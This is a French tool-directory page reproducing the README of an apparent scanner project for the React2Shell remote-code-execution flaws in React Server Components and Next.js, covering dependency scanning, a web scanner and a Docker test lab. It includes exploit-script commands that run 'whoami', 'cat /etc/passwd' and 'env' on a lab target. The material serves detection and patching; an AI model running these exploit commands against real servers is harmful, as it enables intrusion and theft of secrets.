Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/security-phoenix-demo/react2shell-scanner-rce-react-next-cve-2025-55182-cve-2025-66478
Scanners de VulnérabilitésScanners de Vulnérabilités WebAnalyse de CodeExploitationSécurité WebTests d'IntrusionSécurité de la Chaîne LogistiqueApprentissage et ÉducationLabs et Pratique
GitHubsecurity-phoenix-demo/react2shell-scanner-rce-react-next-cve-2025-55182-cve-2025-66478

react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478

Voir le dépôt
634il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Scanner pour CVE-2025-55182 (React) et CVE-2025-66478 (Next.js) - Suivre et corriger une campagne de vulnérabilité critique des React Server Components (RSC) / protocole Flight affectant react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack, et les frameworks compatibles RSC comme Next.js.

Partager

🔍 Phoenix SCA Scanner - Universel - Version pour CVE-2025-55182-CVE-2025-66478 React et Nexus Vulnerability

Vulnérabilité EXTERNE pour la classe de bugs React2Shell : deux vulnérabilités d'exécution de code à distance non authentifiées récemment divulguées dans le protocole "Flight" des React Server Components (RSC) — CVE-2025-55182 (React) et CVE-2025-66478 (Next.js), toutes deux notées CVSS 10.0. Ces problèmes résident dans la manière dont les points de terminaison RSC/Server Function décodent les charges utiles Flight contrôlées par l'attaquant, transformant une seule requête HTTP malveillante en une exécution de code côté serveur potentielle — même sur des piles modernes React/Next.js "par défaut" utilisant App Router et des builds de production. Pour de nombreuses équipes, c'est un moment de "corriger maintenant, vérifier l'exposition, puis auditer", pas quelque chose à reporter à un sprint ultérieur d'hygiène des dépendances. Le dossier LAB contient des exploits et des vulnérabilités de laboratoire pour React2Shell.

Ce projet fournit une approche à deux volets : (1) un scan de composition logicielle / risque de dépendance (cet outil), pour localiser rapidement les bibliothèques et versions vulnérables, et (2) un scanner web DAST (React2Shell Web Scanner) qui sonde activement les points de terminaison RSC/Flight depuis l'extérieur, validant si des chemins exploitables sont accessibles dans les environnements en cours d'exécution. Ensemble, ils vous aident à répondre à la fois "où sont les composants vulnérables ?" et "où peuvent-ils être réellement exploités en production ?", afin que vous puissiez prioriser le patching, le durcissement et la réponse aux incidents en toute confiance.


🌐 Scanner Web - Détection RCE React2Shell

Pour les tests de points de terminaison en direct et la validation RCE, consultez le scanner web dédié :

📁 web-scan_CVE-2025-66478/ - Documentation complète et guide

Démarrage rapide - Scanner Web

root@kitploit:~
cd web-scan_CVE-2025-66478

# Install dependencies
pip install -r requirements.txt

# Scan a single target
python3 react2shell-scanner -u https://target.com -v

# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence

# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html

# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"

Fonctionnalités du Scanner Web

FonctionnalitéDescription
🔍 Détection RCEDétection sécurisée basée sur l'arithmétique (sans effets de bord)
🎯 Empreinte technologiqueDétection automatique des applications Next.js/React
📊 Export multi-formatRapports JSON, CSV, HTML
🔗 Corrélation IOCCorrespondance avec plus de 31 IP malveillantes connues
🌐 Scan à grande échellePlages CIDR, énumération de sous-domaines
☁️ Intégration PhoenixTéléversement des résultats vers Phoenix Security
💻 Outil d'exploitationExécution de commandes sur des cibles vulnérables

Configuration du laboratoire de test

root@kitploit:~
cd web-scan_CVE-2025-66478/test-lab/lab

# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d

# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence

Exemples d'exploitation (Python 3.11+ requis)

root@kitploit:~
cd web-scan_CVE-2025-66478/test-lab

# Install exploit dependencies
pip3.11 install -r requirements.txt

# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"  
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"

# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd"           # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

🛡 React2Shell / Flight Protocol RCE – Aperçu de la vulnérabilité

React2Shell est une primitive d'exécution de code à distance non authentifiée contre le traitement des charges utiles (payloads) React Server Components (RSC) dans le protocole Flight. En pratique, cela signifie qu'un client malveillant peut envoyer une seule requête HTTP malveillante à un point de terminaison RSC/Server Function et, si une version vulnérable est en jeu, potentiellement transformer une « application web » en « shell serveur ».

À un haut niveau :

  • Les charges utiles Flight contrôlées par l'attaquant sont envoyées à des points de terminaison impliqués dans la gestion RSC/Server Function (par ex., dans les déploiements Next.js App Router).
  • Le serveur utilise la logique de décodage et désérialisation Flight de React pour transformer cette charge utile en données et instructions côté serveur.
  • Une désérialisation non sécurisée à cette couche permet à un attaquant d'influencer l'exécution côté serveur, escaladant vers une exécution de code à distance (RCE) complète.

Comme il s'agit d'une RCE non authentifiée, les configurations de production par défaut sont concernées, même si vous n'avez jamais explicitement écrit de « server function » et avez simplement adopté les patterns modernes React/Next.js. Les mitigations au niveau de l'hébergement et les WAF génériques ne doivent pas être considérés comme votre filet de sécurité principal : ils peuvent réduire l'exposition mais ne compenseront pas de manière fiable les bibliothèques vulnérables. Traitez cela comme un incident :

  • Corrigez les packages React RSC server DOM et Next.js vers les versions corrigées.
  • Vérifiez l'exposition en scannant les bases de code et les SBOM pour les versions vulnérables.
  • Auditez les journaux pour les requêtes suspectes vers les points de terminaison liés à RSC/Flight et faites tourner les secrets si vous soupçonnez une compromission.

Une fois qu'un attaquant obtient une RCE via React2Shell, les défenseurs doivent supposer une chaîne de destruction familière :

  • Découverte de l'environnement – énumération du runtime, de la disposition du système de fichiers, des variables d'environnement et des points de terminaison de métadonnées cloud.
  • Chasse aux secrets – collecte des fichiers .env, secrets de déploiement, jetons CI, identifiants de service et clés de signature.
  • Persistance – dépôt d'artefacts de type webshell, modification de code côté serveur ou implantation de tâches planifiées lorsque c'est possible.
  • Mouvement latéral – pivotement vers les services internes, bases de données, files d'attente et API de gestion cloud.
  • Suivi de la chaîne d'approvisionnement – si des identifiants de build ou de déploiement sont présents, se déplacer « en amont » vers le CI/CD et les registres d'artefacts.

Si votre pipeline DevSecOps a historiquement traité la couche web comme « juste un frontend », cette vulnérabilité est une démonstration concrète que les frameworks frontend peuvent avoir un rayon d'explosion côté serveur profond lorsque les sémantiques RSC et de streaming sont impliquées. Universal Vulnerability Scanner existe pour vous aider à répondre rapidement à la question « exécutons-nous les packages vulnérables quelque part ? » et à alimenter cette réponse dans des campagnes pilotées par Phoenix et, bientôt, une validation DAST web complémentaire des points de terminaison RSC en direct.

🎯 Fonctionnalités

Scanner SCA (Cet outil)

  • ✅ Support multi-écosystème - NPM (avec extensibilité pour PyPI, Ruby Gems, etc.)
  • ✅ Correspondance intelligente de versions - Analyse Semver avec détection basée sur les plages
  • ✅ Détection des React Server Components (RSC) - Détection spécialisée des vulnérabilités RSC
  • ✅ Support des fichiers de verrouillage - Analyse package-lock.json, yarn.lock, pnpm-lock.yaml
  • ✅ Intégration Phoenix - Téléversement des résultats vers la plateforme Phoenix Security
  • ✅ Tests complets - Exemples de packages vulnérables pour validation
  • ✅ Rapports JSON/Texte - Formats de sortie flexibles
  • ✅ Interface CLI - Outil en ligne de commande facile à utiliser

Scanner Web (web-scan_CVE-2025-66478/)

  • ✅ Détection RCE en direct - Confirmation sécurisée de vulnérabilité basée sur l'arithmétique
  • ✅ Outil d'exploitation - Exécute des commandes sur des cibles vulnérables
  • ✅ Base de données IOC - Plus de 31 IP malveillantes, plus de 16 motifs d'attaque
  • ✅ Scan à grande échelle - Plages CIDR, énumération de sous-domaines, scan par lots
  • ✅ Collecte de preuves - Capture complète requête/réponse, rapports HTML
  • ✅ Laboratoire de test - Environnement vulnérable/corrigé basé sur Docker

📦 Installation

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Run from project root
python -m universal_vulnerability_scanner.main --help

🚀 Démarrage rapide

1. Scanner un projet

root@kitploit:~
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project

# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json

# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet

2. Téléverser vers Phoenix Security

root@kitploit:~
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config

# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix

3. Exécuter les tests

root@kitploit:~
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test

📋 Base de données de vulnérabilités

Le scanner utilise une base de données de vulnérabilités au format JSON située dans :

root@kitploit:~
universal_vulnerability_scanner/data/vulnerability_database.json

Vulnérabilités prises en charge

React Server Components (RSC)

  • react-server-dom-webpack - Versions: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel - Versions: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack - Versions: 19.0.0, 19.1.0, 19.1.1, 19.2.0

React Core

  • react - Plages vulnérables : [19.0.0, 19.0.1), [19.1.0, 19.1.2), [19.2.0, 19.2.1)
  • react-dom - Mêmes plages vulnérables que react

Next.js

  • next - Plages vulnérables : [15.0.0, 15.0.5), [16.0.0, 16.0.7)

Format de la base de données

root@kitploit:~
{
  "metadata": {
    "version": "1.0.0",
    "last_update": "2025-12-04",
    "ecosystems": ["npm"]
  },
  "vulnerabilities": {
    "npm": {
      "package-name": {
        "exact_versions": ["1.0.0", "1.0.1"],
        "vulnerable_ranges": [
          {"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
        ],
        "safe_versions": ["1.0.2+"],
        "cve_ids": ["CVE-2025-XXXX"],
        "description": "Vulnerability description",
        "references": ["https://..."]
      }
    }
  }
}

🔧 Configuration

Intégration Phoenix Security

Créez .phoenix.config :

root@kitploit:~
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new

Ou utilisez des variables d'environnement :

root@kitploit:~
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"

📊 Formats de sortie

Rapport texte

root@kitploit:~
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00

SUMMARY:
----------------------------------------
Total findings: 12
  VULNERABLE:  3
  SAFE:        2
  CLEAN:       5
  REVIEW:      2

🚨 VULNERABLE PACKAGES DETECTED
================================================================================

1. [email protected]
   File: /path/to/project/package.json
   Reason: Exact match with known vulnerable version 19.0.0
   ✅ Safe version: 18.99.99
   CVE: CVE-2025-RSC-001

Rapport JSON

root@kitploit:~
[
  {
    "path": "/path/to/project/package.json",
    "kind": "package.json",
    "package": "react-server-dom-webpack",
    "version": "19.0.0",
    "verdict": "VULNERABLE",
    "reason": "Exact match with known vulnerable version 19.0.0",
    "severity": "CRITICAL",
    "vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
    "safe_version": "18.99.99",
    "cve_ids": ["CVE-2025-RSC-001"],
    "timestamp": "2025-12-04T10:30:00"
  }
]

🧪 Échantillons de test

Le scanner inclut des échantillons de test complets dans test_samples/ :

Cas de testDescriptionRésultats attendus
rsc_vulnerable_exact/Versions vulnérables exactes4 VULNERABLE
rsc_vulnerable_range/Plages de versions4 VULNERABLE
rsc_safe_versions/Versions corrigées sûres6 SAFE
rsc_mixed/Mélange vulnérable/sûr/propre2 VULNERABLE, 1 SAFE, 4 CLEAN
rsc_with_lockfile/Analyse du fichier de verrouillage2 VULNERABLE, 1 CLEAN

Exécuter les tests :

root@kitploit:~
python -m universal_vulnerability_scanner.main test

🏗️ Architecture

root@kitploit:~
universal_vulnerability_scanner/
├── core/
│   └── version_parser.py       # Semver parsing & comparison
├── models/
│   ├── finding.py              # Finding data model
│   └── vulnerability.py        # Vulnerability database model
├── scanners/
│   ├── base_scanner.py         # Abstract scanner interface
│   └── npm_scanner.py          # NPM ecosystem scanner
├── integrations/
│   └── phoenix_uploader.py     # Phoenix API client
├── data/
│   └── vulnerability_database.json  # Vulnerability definitions
├── test_samples/               # Test cases
└── main.py                     # CLI entry point

🔐 Considérations de sécurité

  1. Aucun faux négatif : Le scanner privilégie la prudence
  2. Normalisation des versions : Gère les spécificateurs de version NPM (^, ~, =)
  3. Détection de plages : Détecte les vulnérabilités dans les plages de versions
  4. Priorité au fichier de verrouillage : Privilégie les versions résolues des fichiers de verrouillage
  5. Recommandations de versions sûres : Suggère des chemins de mise à niveau

🚀 Étendre le scanner

Ajouter de nouveaux écosystèmes

  1. Créer un nouveau scanner dans scanners/ héritant de BaseScanner
  2. Implémenter l'analyse spécifique à l'écosystème
  3. Ajouter des vulnérabilités à la base de données sous une nouvelle clé d'écosystème

Exemple :

root@kitploit:~
from .base_scanner import BaseScanner

class PyPIScanner(BaseScanner):
    def _get_ecosystem(self) -> str:
        return "pypi"
    
    def scan_path(self, root: Path) -> List[Finding]:
        # Implement PyPI scanning logic
        pass

Ajouter de nouvelles vulnérabilités

Modifier data/vulnerability_database.json :

root@kitploit:~
{
  "npm": {
    "new-vulnerable-package": {
      "exact_versions": ["1.0.0"],
      "vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
      "safe_versions": ["1.0.5+"],
      "cve_ids": ["CVE-2025-XXXX"],
      "description": "Vulnerability description"
    }
  }
}

📈 Codes de sortie

  • 0 - Scan réussi, aucune vulnérabilité trouvée
  • 1 - Scan réussi, vulnérabilités trouvées
  • 2 - Scan échoué (entrée invalide, erreur de base de données, etc.)

🤝 Intégration avec les systèmes existants

Phoenix Security Platform

Téléverse automatiquement les résultats vers Phoenix avec :

  • Création d'actifs par dépôt scanné
  • Résultats de vulnérabilités avec score CVSS
  • Tags pour catégorisation
  • Références CVE

Pipeline CI/CD

root@kitploit:~
# Example GitHub Actions
- name: Vulnerability Scan
  run: |
    python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
    
- name: Upload to Phoenix
  if: always()
  run: |
    python -m universal_vulnerability_scanner.main scan . --upload-phoenix

📝 Journal des modifications

v1.0.0 (2025-12-04)

  • Version initiale
  • Scanner NPM avec support des fichiers de verrouillage
  • Détection des vulnérabilités des React Server Components
  • Intégration Phoenix Security
  • Suite de tests complète

🙏 Remerciements

  • Analyse Semver adaptée de react/rsc_exposure_scanner.py
  • Intégration Phoenix adaptée de enhanced_npm_compromise_detector_phoenix.py
  • Construit pour une sécurité complète de la chaîne d'approvisionnement

📄 Licence

Fait partie de la boîte à outils de sécurité Shai Halud.


🔍 Restez sécurisés ! Signalez les vulnérabilités de manière responsable.

Télécharger l’outil